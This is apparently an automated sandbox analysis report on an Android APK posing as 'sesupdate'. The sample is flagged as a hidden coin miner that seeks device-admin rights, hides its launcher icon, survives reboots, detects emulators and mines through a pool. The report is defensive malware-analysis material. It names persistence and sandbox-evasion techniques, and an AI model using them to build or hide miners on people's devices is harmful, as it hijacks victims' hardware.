Loading ...

Analysis Report D6pnpvG2z7

Overview

General Information

Joe Sandbox Version:23.0.0
Analysis ID:60798
Start date:21.09.2018
Start time:21:18:46
Joe Sandbox Product:Cloud
Overall analysis duration:0h 4m 31s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:D6pnpvG2z7
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 5.1 Native (Motorola Moto G 3rd Generation)
Detection:MAL
Classification:mal88.troj.evad.mine.and@0/251@5/0
Warnings:
Show All
  • No interacted views
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingDetection
Threshold880 - 100Report FP / FNmalicious

Classification

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus detection for submitted fileShow sources
Source: D6pnpvG2z7Avira: Label: PUA/CoinMiner.zuzcl
Source: D6pnpvG2z7Avira: Label: PUA/CoinMiner.jinae
Source: D6pnpvG2z7Avira: Label: ANDROID/CoinMiner.FNA.Gen
Multi AV Scanner detection for submitted fileShow sources
Source: D6pnpvG2z7virustotal: Detection: 56%Perma Link

Privilege Escalation:

barindex
Checks if the device administrator is activeShow sources
Source: com.android.sesupdate.services.FirstService;->spamDeviceAdmin:30API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: com.android.sesupdate.receivers.DeviceAdmin$1;->run:7API Call: android.app.admin.DevicePolicyManager.isAdminActive
Tries to add a new device administratorShow sources
Source: com.android.sesupdate.MainActivity;->requestDeviceAdmin:12API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN
Requests root accessShow sources
Source: Lio/fabric/sdk/android/services/common/CommonUtils;->getDeviceState(Landroid/content/Context;)IMethod string: "/system/xbin/su"
Source: Lio/fabric/sdk/android/services/common/CommonUtils;->isRooted(Landroid/content/Context;)ZMethod string: "/system/xbin/su"
Source: Lcom/crashlytics/android/core/CrashlyticsController;->writeSessionOS(Ljava/lang/String;)VMethod string: "/system/xbin/su"

Bitcoin Miner:

barindex
Found strings related to Crypto-MiningShow sources
Source: libcpuminer.soString found in binary or memory: stratum+tcp://
Source: libcpuminer.soString found in binary or memory: scanhash_cryptonight
Source: libcpuminer.soString found in binary or memory: stratum+tcp://

Spreading:

barindex
Accesses external storage locationShow sources
Source: io.fabric.sdk.android.services.persistence.FileStoreImpl;->getExternalCacheDir:21API Call: android.os.Environment.getExternalStorageDirectory
Source: io.fabric.sdk.android.services.persistence.FileStoreImpl;->getExternalFilesDir:35API Call: android.os.Environment.getExternalStorageDirectory
Source: io.fabric.sdk.android.services.persistence.FileStoreImpl;->isExternalStorageAvailable:48API Call: android.os.Environment.getExternalStorageState

Networking:

barindex
Detected TCP or UDP traffic on non-standard portsShow sources
Source: global trafficTCP traffic: 192.34.76.230:54171 -> 45.125.194.34:3333
Checks an internet connection is availableShow sources
Source: io.fabric.sdk.android.services.common.CommonUtils;->canTryConnection:15API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: io.fabric.sdk.android.services.common.CommonUtils;->canTryConnection:16API Call: android.net.NetworkInfo.isConnectedOrConnecting
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownUDP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Source: unknownTCP traffic detected without corresponding DNS query: 192.34.76.230
Opens an internet connectionShow sources
Source: io.fabric.sdk.android.services.network.HttpRequest$ConnectionFactory$1;->create:2API Call: java.net.URL.openConnection("https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3")
Source: io.fabric.sdk.android.services.network.HttpRequest$ConnectionFactory$1;->create:2API Call: java.net.URL.openConnection("https://e.crashlytics.com/spi/v2/events")
Source: com.android.sesupdate.ApkUtils$sendTask;->doInBackground:9API Call: java.net.URL.openConnection (not executed)
Source: io.fabric.sdk.android.services.network.HttpRequest$ConnectionFactory$1;->create:3API Call: java.net.URL.openConnection (not executed)
Found strings which match to known social media urlsShow sources
Source: io.fabric.sdk.android.fabric.propertiesString found in binary or memory: # Copyright (C) 2015 Twitter, Inc. equals www.twitter.com (Twitter)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: www.google.ch
Urls found in memory or binary dataShow sources
Source: libcurl.soString found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: classes.dex, androidString found in binary or memory: http://debujxe.com/click.php?cnv_id=
Source: activity_main.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: io.fabric.sdk.android.fabric.propertiesString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: androidString found in binary or memory: https://api.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate
Source: androidString found in binary or memory: https://e.crashlytics.com/spi/v2/events
Source: classes.dexString found in binary or memory: https://e.crashlytics.com/spi/v2/eventsJhttps://settings.crashlytics.com/spi/v2/platforms/android/ap
Source: classes.dex, androidString found in binary or memory: https://fabric.io/sign_up
Source: androidString found in binary or memory: https://reports.crashlytics.com/sdk-api/v1/platforms/android/apps/com.android.sesupdate/minidumps
Source: androidString found in binary or memory: https://reports.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate/reports
Source: classes.dex, androidString found in binary or memory: https://settings.crashlytics.com/spi/v2/platforms/android/apps/%s/settings
Source: androidString found in binary or memory: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings
Source: androidString found in binary or memory: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_h
Uses HTTP for connecting to the internetShow sources
Source: com.android.sesupdate.ApkUtils$sendTask;->doInBackground:15API Call: java.net.HttpURLConnection.connect
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 49650 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49651 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49651
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49650
Source: unknownNetwork traffic detected: HTTP traffic on port 44125 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54603
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 44125
Source: unknownNetwork traffic detected: HTTP traffic on port 54603 -> 443

Operating System Destruction:

barindex
Lists and deletes files in the same contextShow sources
Source: com.crashlytics.android.core.CrashlyticsController;->recursiveDelete:298API Calls in same method context: File.listFiles,File.delete
Source: com.crashlytics.android.core.LogFileManager;->discardOldLogFiles:29API Calls in same method context: File.listFiles,File.delete
Source: com.crashlytics.android.core.Utils;->capFileCount:7API Calls in same method context: File.listFiles,File.delete

Change of System Appearance:

barindex
Acquires a wake lockShow sources
Source: com.android.sesupdate.services.FirstService;->startWakeLock:54API Call: android.os.PowerManager$WakeLock.acquire

System Summary:

barindex
APK is signed by a suspicious certificateShow sources
Source: APK CertificateAPK Parser: C=US,O=Android,CN=Android Debug C=US,O=Android,CN=Android Debug
Executes native commandsShow sources
Source: com.android.sesupdate.DeviceUtil;->checkForNeon:6API Call: java.lang.ProcessBuilder.start
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Classification labelShow sources
Source: classification engineClassification label: mal88.troj.evad.mine.and@0/251@5/0
Loads native librariesShow sources
Source: com.kangaderoo.neoneonminer.MyNeoNeonMinerGlobals;-><init>:3API Call: java.lang.System.loadLibrary ("curl")
Source: com.kangaderoo.neoneonminer.MyNeoNeonMinerGlobals;-><init>:5API Call: java.lang.System.loadLibrary ("gmp")
Source: com.kangaderoo.neoneonminer.MyNeoNeonMinerGlobals;-><init>:7API Call: java.lang.System.loadLibrary ("cpuminer")
Reads shares settingsShow sources
Source: io.fabric.sdk.android.services.common.AdvertisingInfoProvider;->getInfoFromPreferences:61API Call: "advertising_id":
Source: io.fabric.sdk.android.services.common.IdManager;->getAppInstallIdentifier:115API Call: "crashlytics.installation.id": null
Source: io.fabric.sdk.android.services.common.IdManager;->createInstallationUUID:44API Call: "crashlytics.installation.id": null
Source: io.fabric.sdk.android.services.common.IdManager;->getAppInstallIdentifier:115API Call: "crashlytics.installation.id": 727b1e1c99ed48bfa431dd3ed82456db
Source: io.fabric.sdk.android.services.settings.DefaultSettingsController;->getStoredBuildInstanceIdentifier:57API Call: "existing_instance_identifier":
Source: com.crashlytics.android.answers.AnswersPreferenceManager;->hasAnalyticsLaunched:8API Call: android.content.SharedPreferences.getBoolean
Source: io.fabric.sdk.android.services.common.AdvertisingInfoProvider;->getInfoFromPreferences:65API Call: android.content.SharedPreferences.getBoolean
Source: io.fabric.sdk.android.services.common.IdManager;->flushInstallationIdIfNecessary:64API Call: android.content.SharedPreferences.getString
Source: com.crashlytics.android.core.PreferenceManager;->create:4API Call: android.content.SharedPreferences.getBoolean
Source: com.crashlytics.android.core.PreferenceManager;->create:14API Call: android.content.SharedPreferences.getBoolean
Source: com.crashlytics.android.core.PreferenceManager;->shouldAlwaysSendReports:33API Call: android.content.SharedPreferences.getBoolean
Source: io.fabric.sdk.android.services.persistence.PreferenceStoreStrategy;->restore:11API Call: android.content.SharedPreferences.getString

Data Obfuscation:

barindex
Uses reflectionShow sources
Source: com.crashlytics.android.answers.AppMeasurementEventLogger;->getInstance:11API Call: java.lang.reflect.Method.invoke
Source: com.crashlytics.android.answers.AppMeasurementEventLogger;->logEvent:18API Call: java.lang.reflect.Method.invoke
Source: io.fabric.sdk.android.services.common.AdvertisingInfoReflectionStrategy;->getAdvertisingId:8API Call: java.lang.reflect.Method.invoke
Source: io.fabric.sdk.android.services.common.AdvertisingInfoReflectionStrategy;->getInfo:18API Call: java.lang.reflect.Method.invoke
Source: io.fabric.sdk.android.services.common.AdvertisingInfoReflectionStrategy;->isLimitAdTrackingEnabled:28API Call: java.lang.reflect.Method.invoke
Source: io.fabric.sdk.android.services.common.AdvertisingInfoReflectionStrategy;->isGooglePlayServiceAvailable:43API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Creates filesShow sources
Source: io.fabric.sdk.android.services.settings.DefaultSettingsController;->loadSettingsData:70API Call: java.io.FileWriter.<init>
Source: io.fabric.sdk.android.services.settings.DefaultCachedSettingsIo;->writeCachedSettings:40API Call: java.io.FileWriter.<init>

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Installs a new wake lock (to get activate on phone screen on)Show sources
Source: com.android.sesupdate.services.FirstService;->startWakeLock:52API Call: android.os.PowerManager.newWakeLock
Starts/registers a service/receiver on phone boot (autostart)Show sources
Source: com.android.sesupdate.receivers.BootReceiver;->onReceive:3API Call: android.content.Context.startService (not executed)

Hooking and other Techniques for Hiding and Protection:

barindex
Queries list of running processes/tasksShow sources
Source: io.fabric.sdk.android.services.common.CommonUtils;->getAppProcessInfo:100API Call: android.app.ActivityManager.getRunningAppProcesses
Queries package code path (often used for patching other applications)Show sources
Source: io.fabric.sdk.android.Fabric;->getKitsFinderFuture:89API Call: android.content.Context.getPackageCodePath
Removes its application launcher (likely to stay hidden)Show sources
Source: com.android.sesupdate.receivers.DeviceAdmin;->hideAppIcon:4API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Uses Crypto APIsShow sources
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:183API Call: java.security.MessageDigest.getInstance
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:185API Call: java.security.MessageDigest.update
Source: io.fabric.sdk.android.services.common.CommonUtils;->sha1:301API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:185API Call: java.security.MessageDigest.update
Source: io.fabric.sdk.android.services.common.CommonUtils;->sha1:301API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:195API Call: java.security.MessageDigest.getInstance
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:196API Call: java.security.MessageDigest.update
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:194API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:196API Call: java.security.MessageDigest.update
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:194API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:196API Call: java.security.MessageDigest.update
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:194API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:196API Call: java.security.MessageDigest.update
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:194API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:191API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.common.CommonUtils;->hash:197API Call: java.security.MessageDigest.digest
Source: io.fabric.sdk.android.services.network.PinningTrustManager;->isValidPin:46API Call: java.security.MessageDigest.getInstance
Source: io.fabric.sdk.android.services.network.PinningTrustManager;->isValidPin:49API Call: java.security.MessageDigest.digest

Malware Analysis System Evasion:

barindex
Tries to detect Android x86Show sources
Source: Lcom/android/sesupdate/DeviceUtil;->isEmulator()ZMethod string: "Android SDK built for x86"
Tries to detect the analysis device (e.g. the Android emulator)Show sources
Source: Lcom/android/sesupdate/DeviceUtil;->isEmulator()ZMethod string: "Emulator"
Accesses /procShow sources
Source: Lio/fabric/sdk/android/services/common/CommonUtils;->getTotalRamInBytes()JMethod string: "/proc/meminfo"
Accesses android OS build fieldsShow sources
Source: io.fabric.sdk.android.services.settings.Settings;->initialize:34Field Access: android.os.Build.MANUFACTURER
Source: io.fabric.sdk.android.services.settings.Settings;->initialize:34Field Access: android.os.Build.MODEL
Source: com.android.sesupdate.MainApplication;->onCreate:5Field Access: android.os.Build.FINGERPRINT
Source: com.android.sesupdate.MainApplication;->onCreate:5Field Access: android.os.Build.MODEL
Source: com.android.sesupdate.MainApplication;->onCreate:5Field Access: android.os.Build.MANUFACTURER
Source: com.android.sesupdate.MainApplication;->onCreate:5Field Access: android.os.Build.BRAND
Source: com.android.sesupdate.MainApplication;->onCreate:5Field Access: android.os.Build.PRODUCT
Source: com.android.sesupdate.MainActivity;->onCreate:6Field Access: android.os.Build.FINGERPRINT
Source: com.android.sesupdate.MainActivity;->onCreate:6Field Access: android.os.Build.MODEL
Source: com.android.sesupdate.MainActivity;->onCreate:6Field Access: android.os.Build.MANUFACTURER
Source: com.android.sesupdate.MainActivity;->onCreate:6Field Access: android.os.Build.BRAND
Source: com.android.sesupdate.MainActivity;->onCreate:6Field Access: android.os.Build.PRODUCT
Source: com.crashlytics.android.answers.SessionMetadataCollector;->getMetadata:21Field Access: android.os.Build.MANUFACTURER
Source: com.crashlytics.android.answers.SessionMetadataCollector;->getMetadata:21Field Access: android.os.Build.MODEL
Source: com.kangaderoo.neoneonminer.MyNeoNeonMinerGlobals;->start:14Field Access: android.os.Build.MANUFACTURER
Source: io.fabric.sdk.android.services.common.CommonUtils;->isRooted:236Field Access: android.os.Build.PRODUCT
Source: com.crashlytics.android.core.CrashlyticsController;->writeSessionOS:636Field Access: android.os.Build.TAGS
Source: io.fabric.sdk.android.services.common.CommonUtils;->getCpuArchitectureInt:125Field Access: android.os.Build.CPU_ABI
Source: com.crashlytics.android.core.CrashlyticsController;->writeSessionDevice:579Field Access: android.os.Build.PRODUCT
Source: io.fabric.sdk.android.services.common.CommonUtils;->getDeviceState:127Field Access: android.os.Build.PRODUCT
Source: io.fabric.sdk.android.services.common.CommonUtils;->getDeviceState:128Field Access: android.os.Build.TAGS
Source: com.crashlytics.android.core.CrashlyticsController$24;->writeTo:2Field Access: android.os.Build.MODEL
Source: com.crashlytics.android.core.CrashlyticsController$24;->writeTo:2Field Access: android.os.Build.MANUFACTURER
Source: com.android.sesupdate.DeviceUtil;->isEmulator:36Field Access: android.os.Build.FINGERPRINT
Source: com.android.sesupdate.DeviceUtil;->isEmulator:39Field Access: android.os.Build.FINGERPRINT
Source: com.android.sesupdate.DeviceUtil;->isEmulator:42Field Access: android.os.Build.MODEL
Source: com.android.sesupdate.DeviceUtil;->isEmulator:45Field Access: android.os.Build.MODEL
Source: com.android.sesupdate.DeviceUtil;->isEmulator:48Field Access: android.os.Build.MODEL
Source: com.android.sesupdate.DeviceUtil;->isEmulator:51Field Access: android.os.Build.MANUFACTURER
Source: com.android.sesupdate.DeviceUtil;->isEmulator:54Field Access: android.os.Build.BRAND
Source: com.android.sesupdate.DeviceUtil;->isEmulator:57Field Access: android.os.Build.DEVICE
Source: com.android.sesupdate.DeviceUtil;->isEmulator:61Field Access: android.os.Build.PRODUCT
Source: io.fabric.sdk.android.services.common.CommonUtils$Architecture;->getValue:49Field Access: android.os.Build.CPU_ABI
Source: io.fabric.sdk.android.services.common.CommonUtils;->isEmulator:230Field Access: android.os.Build.PRODUCT
Source: io.fabric.sdk.android.services.common.CommonUtils;->isEmulator:233Field Access: android.os.Build.PRODUCT
Source: io.fabric.sdk.android.services.common.CommonUtils;->isRooted:237Field Access: android.os.Build.TAGS
Source: io.fabric.sdk.android.services.common.IdManager;->getModelName:143Field Access: android.os.Build.MANUFACTURER
Source: io.fabric.sdk.android.services.common.IdManager;->getModelName:145Field Access: android.os.Build.MODEL
Source: io.fabric.sdk.android.services.common.IdManager;->getOsDisplayVersionString:150Field Access: android.os.Build$VERSION.RELEASE
Source: com.crashlytics.android.core.CrashlyticsController$21;->writeTo:2Field Access: android.os.Build$VERSION.RELEASE
Source: com.crashlytics.android.core.CrashlyticsController$22$1;-><init>:3Field Access: android.os.Build$VERSION.RELEASE
Source: com.crashlytics.android.core.CrashlyticsController$23;->writeTo:2Field Access: android.os.Build.MODEL
Source: com.crashlytics.android.core.CrashlyticsController$23;->writeTo:4Field Access: android.os.Build.MANUFACTURER
Source: com.crashlytics.android.core.CrashlyticsController$23;->writeTo:5Field Access: android.os.Build.PRODUCT
Source: com.crashlytics.android.core.CrashlyticsController$24$1;-><init>:7Field Access: android.os.Build.MODEL
Source: com.crashlytics.android.core.CrashlyticsController$24$1;-><init>:34Field Access: android.os.Build.MANUFACTURER
Source: com.crashlytics.android.core.CrashlyticsController$24$1;-><init>:37Field Access: android.os.Build.PRODUCT
Checks CPU detailsShow sources
Source: Lcom/android/sesupdate/DeviceUtil;->getNumCoresOldPhones()IMethod string: "/sys/devices/system/cpu/"
Queries several sensitive phone informationsShow sources
Source: Lio/fabric/sdk/android/services/settings/AbstractAppSpiCall;->applyHeadersTo(Lio/fabric/sdk/android/services/network/HttpRequest;Lio/fabric/sdk/android/services/settings/AppRequestData;)Lio/fabric/sdk/android/services/network/HttpRequest;Method string: "android"
Source: Lcom/crashlytics/android/answers/SessionEventTransform;->buildJsonForEvent(Lcom/crashlytics/android/answers/SessionEvent;)Lorg/json/JSONObject;Method string: "type"
Source: Lcom/crashlytics/android/core/CrashlyticsController$22$1;-><init>(Lcom/crashlytics/android/core/CrashlyticsController$22;)VMethod string: "version"
Source: Lio/fabric/sdk/android/services/common/CommonUtils;->isEmulator(Landroid/content/Context;)ZMethod string: "sdk"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: io.fabric.sdk.android.services.common.IdManager;->getAndroidId:105API Call: android.provider.Settings.Secure.getString
Source: io.fabric.sdk.android.services.common.CommonUtils;->isEmulator:228API Call: android.provider.Settings.Secure.getString
Tries to query CPU infoShow sources
Source: com.android.sesupdate.DeviceUtil;->checkForNeon:6API Call: java.lang.ProcessBuilder.start

Anti Debugging:

barindex
Checks if debugger is runningShow sources
Source: io.fabric.sdk.android.services.common.CommonUtils;->isDebuggerAttached:224API Call: android.os.Debug.isDebuggerConnected

Language, Device and Operating System Detection:

barindex
Checks if phone is rooted (checks for Superuser.apk)Show sources
Source: com.crashlytics.android.core.CrashlyticsController;->writeSessionOS:636API Call: java.io.File.<init>("/system/app/Superuser.apk")
Source: io.fabric.sdk.android.services.common.CommonUtils;->getDeviceState:128API Call: java.io.File.<init>("/system/app/Superuser.apk")
Source: io.fabric.sdk.android.services.common.CommonUtils;->isRooted:241API Call: java.io.File.<init>("/system/app/Superuser.apk")
Checks if phone is rooted (checks for test-keys build tags)Show sources
Source: io.fabric.sdk.android.services.common.CommonUtils;->isRooted:239API Call: java.lang.String.contains("test-keys")

Stealing of Sensitive Information:

barindex
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE

Antivirus Detection

Initial Sample

SourceDetectionScannerLabelLink
D6pnpvG2z757%virustotalBrowse
D6pnpvG2z7100%AviraPUA/CoinMiner.zuzcl
D6pnpvG2z7100%AviraPUA/CoinMiner.jinae
D6pnpvG2z7100%AviraANDROID/CoinMiner.FNA.Gen

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://debujxe.com/click.php?cnv_id=1%virustotalBrowse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
sg1.supportxmr.com45.125.194.34truefalsehigh
events-endpoint-c-394794954.us-east-1.elb.amazonaws.com54.243.70.98truefalsehigh
settings.crashlytics.com54.235.102.221truefalsehigh
www.google.ch172.217.168.3truefalsehigh
e.crashlytics.comunknownunknownfalsehigh

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://www.apache.org/licenses/LICENSE-2.0io.fabric.sdk.android.fabric.propertiesfalse
    high
    http://schemas.android.com/apk/res/androidactivity_main.xmlfalse
      high
      https://api.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdateandroidfalse
        high
        https://e.crashlytics.com/spi/v2/eventsandroidfalse
          high
          https://settings.crashlytics.com/spi/v2/platforms/android/apps/%s/settingsclasses.dex, androidfalse
            high
            https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_handroidfalse
              high
              http://debujxe.com/click.php?cnv_id=classes.dex, androidfalseunknown
              https://reports.crashlytics.com/sdk-api/v1/platforms/android/apps/com.android.sesupdate/minidumpsandroidfalse
                high
                https://reports.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate/reportsandroidfalse
                  high
                  https://e.crashlytics.com/spi/v2/eventsJhttps://settings.crashlytics.com/spi/v2/platforms/android/apclasses.dexfalse
                    high
                    https://fabric.io/sign_upclasses.dex, androidfalse
                      high
                      https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settingsandroidfalse
                        high
                        http://curl.haxx.se/docs/http-cookies.htmllibcurl.sofalse
                          high

                          Contacted IPs

                          • No. of IPs < 25%
                          • 25% < No. of IPs < 50%
                          • 50% < No. of IPs < 75%
                          • 75% < No. of IPs

                          Public

                          IPCountryFlagASNASN NameMalicious
                          172.217.168.3United States
                          15169GOOGLE-GoogleIncUSfalse
                          45.125.194.34Singapore
                          63930READYSERVER-SGREADYSERVERPTELTDSGfalse
                          54.243.70.98United States
                          14618AMAZON-AES-AmazoncomIncUSfalse
                          54.235.102.221United States
                          14618AMAZON-AES-AmazoncomIncUSfalse

                          Static File Info

                          General

                          File type:Zip archive data, at least v2.0 to extract
                          Entropy (8bit):7.96538697467371
                          TrID:
                          • Android Package (19004/1) 49.99%
                          • Java Archive (13504/1) 35.53%
                          • ZIP compressed archive (4004/1) 10.53%
                          • Java Script embedded in Visual Basic Script (1500/0) 3.95%
                          File name:D6pnpvG2z7
                          File size:2725223
                          MD5:fffb8d51838af6bb742e84b8b16239bb
                          SHA1:ac65ac26558b49a93d27d8a7358b47a3dc51b8a4
                          SHA256:1c24c3ad27027e79add11d124b1366ae577f9c92cd3302bd26869825c90bf377
                          SHA512:b347e53d267a6a95e34d1889935bc807b7b8e8999e006491dd3cd7593e93200f5a15389d9920fca1538919df943e04a0a6f26893a8e4a0f43cdf324eb8326673
                          File Content Preview:PK............L}.w{7..X.......classes.dexL....U...k.P.U.V.J........,I*.....B...'..d....,I...BI.............q..g..93w._........J......5.|xy.c......^{.=.....U.7S.q*.j.B..=]z...&......SiS.%/.R5..R._K.n..Jm.4...5.Z.*..:M*5..4.VU/K.....>U...G..1..L.[.p._9._..'

                          File Icon

                          Static APK Info

                          General

                          Label:
                          Minimum SDK required:16
                          Target SDK required:25
                          Version Code:3
                          Version Name:3
                          Package Name:com.android.sesupdate
                          Is Activity:true
                          Is Receiver:true
                          Is Service:true
                          Requests System Level Permissions:false
                          Play Store Compatible:true

                          Activities

                          NameIs Entrypoint
                          com.android.sesupdatecom.android.sesupdate.MainActivitytrue

                          Receivers

                          • com.android.sesupdate.receivers.BootReceiver
                          • Intent: android.intent.action.BOOT_COMPLETED, android.intent.action.QUICKBOOT_POWERON
                          • com.android.sesupdate.receivers.DeviceAdmin
                          • Intent: android.app.action.DEVICE_ADMIN_ENABLED, android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED, android.app.action.ACTION_DEVICE_ADMIN_DISABLED

                          Services

                          • com.android.sesupdate.services.DisableService
                          • com.android.sesupdate.services.FirstService
                          • com.android.sesupdate.services.NotificationService

                          Permission Requested

                          • android.permission.ACCESS_NETWORK_STATE
                          • android.permission.INTERNET
                          • android.permission.READ_PHONE_STATE
                          • android.permission.RECEIVE_BOOT_COMPLETED
                          • android.permission.WAKE_LOCK
                          • android.permission.WRITE_EXTERNAL_STORAGE

                          Certificate

                          Name:classes.dex
                          Issuer:C=US,O=Android,CN=Android Debug
                          Subject:C=US,O=Android,CN=Android Debug

                          Resources

                          NameTypeSize
                          AndroidManifest.xmldata6468
                          libgmp.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped345468
                          libcpuminer.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped1681200
                          io.fabric.sdk.android.fabric.propertiesASCII text682
                          com.crashlytics.sdk.android.crashlytics.propertiesASCII text104
                          CERT.RSAdata765
                          libcpuminer.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped1701676
                          playstore.pngPNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced10601
                          activity_main.xmldata364
